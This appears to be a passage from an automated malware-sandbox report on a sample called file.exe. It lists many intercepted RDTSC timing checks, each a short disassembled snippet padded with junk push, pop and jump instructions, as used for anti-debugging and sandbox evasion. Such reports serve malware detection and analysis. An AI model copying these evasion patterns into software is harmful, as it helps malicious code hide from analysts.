Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1AEE9 second address: A1AF0A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FEEE08A2318h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B64B second address: A1B671 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEEE0EE3616h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FEEE0EE3606h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B671 second address: A1B68D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2318h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B9D8 second address: A1B9E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FEEE0EE3606h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A671 second address: A1A679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A227CD second address: A227D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A217EE second address: A217F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A217F5 second address: A21827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3610h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FEEE0EE3623h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FEEE0EE3613h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22136 second address: A2213B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A224A1 second address: A224A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A224A5 second address: A224B3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEEE08A2306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A224B3 second address: A224BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEEE0EE3606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A248B2 second address: A248BC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEEE08A2306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A248BC second address: A248C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A02 second address: A24A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A08 second address: A24A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24A14 second address: A24A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27CAE second address: A27CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99472D second address: 994732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994732 second address: 994779 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEEE0EE360Fh 0x00000008 jmp 00007FEEE0EE360Fh 0x0000000d jp 00007FEEE0EE3606h 0x00000013 jmp 00007FEEE0EE3611h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007FEEE0EE3606h 0x00000021 jno 00007FEEE0EE3606h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27505 second address: A2751F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEEE08A2314h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2751F second address: A27531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE0EE360Ch 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27531 second address: A2755B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d jmp 00007FEEE08A2313h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2755B second address: A27561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2784D second address: A2785D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE08A230Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A279A5 second address: A279C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEEE0EE3613h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A279C0 second address: A279C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B180 second address: 99B19E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE0EE3615h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B19E second address: 99B1A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E56D second address: A2E594 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FEEE0EE3612h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 je 00007FEEE0EE3606h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E594 second address: A2E5A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E5A0 second address: A2E5A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E705 second address: A2E71F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE08A2314h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E71F second address: A2E723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E723 second address: A2E727 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EB80 second address: A2EB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2ED2A second address: A2ED2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2ED2E second address: A2ED32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2ED32 second address: A2ED62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE08A230Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEEE08A2317h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2ED62 second address: A2ED7D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEEE0EE3615h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EF03 second address: A2EF5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FEEE08A230Fh 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FEEE08A2319h 0x0000001e jns 00007FEEE08A231Ch 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EF5B second address: A2EF6E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEEE0EE360Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33BAC second address: A33BC1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEEE08A230Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34138 second address: A34142 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3440B second address: A3440F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3440F second address: A34413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34413 second address: A3441D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34E0C second address: A34E66 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEEE0EE3606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FEEE0EE361Dh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 jmp 00007FEEE0EE3617h 0x00000019 jmp 00007FEEE0EE3617h 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37976 second address: A379AF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEEE08A2306h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FEEE08A2316h 0x00000011 pushad 0x00000012 js 00007FEEE08A2306h 0x00000018 jns 00007FEEE08A2306h 0x0000001e popad 0x0000001f popad 0x00000020 push ebx 0x00000021 pushad 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 push edi 0x00000025 pop edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37EC4 second address: A37EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37EC8 second address: A37ECC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37ECC second address: A37EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE0EE360Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37EE3 second address: A37EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37EE9 second address: A37F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE0EE360Bh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FEEE0EE360Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37F08 second address: A37F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FEEE08A2332h 0x0000000b jmp 00007FEEE08A2313h 0x00000010 jmp 00007FEEE08A2319h 0x00000015 jbe 00007FEEE08A2312h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37F47 second address: A37F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE4D second address: A3DE53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE53 second address: A3DE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEEE0EE3611h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE6C second address: A3DE70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE70 second address: A3DE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE7A second address: A3DE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEEE08A2306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E37F second address: A3E385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E62A second address: A3E65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEEE08A230Dh 0x00000009 pushad 0x0000000a jbe 00007FEEE08A2306h 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007FEEE08A2313h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E65E second address: A3E662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E914 second address: A3E919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E919 second address: A3E91E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F7D5 second address: A3F7EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE08A2312h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44809 second address: A44813 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44813 second address: A44819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A439BC second address: A439C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A439C0 second address: A439C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A439C6 second address: A439E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3612h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A439E7 second address: A439EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A439EE second address: A43A08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEEE0EE360Fh 0x00000008 jg 00007FEEE0EE3606h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43CE9 second address: A43CEE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43CEE second address: A43CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44104 second address: A4410A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4410A second address: A44136 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEEE0EE3606h 0x00000008 jns 00007FEEE0EE3606h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007FEEE0EE361Ch 0x00000016 jmp 00007FEEE0EE3616h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44136 second address: A4414C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4414C second address: A44150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44150 second address: A4415C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4415C second address: A44160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A443E9 second address: A443EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A443EF second address: A44412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007FEEE0EE3611h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4457E second address: A44599 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEEE08A2306h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007FEEE08A230Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50F83 second address: A50F9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE0EE3617h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50F9E second address: A50FD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FEEE08A2306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jne 00007FEEE08A2306h 0x00000013 jmp 00007FEEE08A2319h 0x00000018 pop edx 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c push eax 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5112B second address: A5115F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEEE0EE3617h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5115F second address: A51165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51165 second address: A51169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51169 second address: A51187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FEEE08A2306h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 jmp 00007FEEE08A230Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A513FD second address: A5140E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5140E second address: A51414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51414 second address: A5141A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A515CA second address: A5160A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FEEE08A2312h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FEEE08A230Fh 0x00000012 pushad 0x00000013 jmp 00007FEEE08A2311h 0x00000018 push eax 0x00000019 pop eax 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A518D7 second address: A518DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A519EE second address: A519F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51B9D second address: A51BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
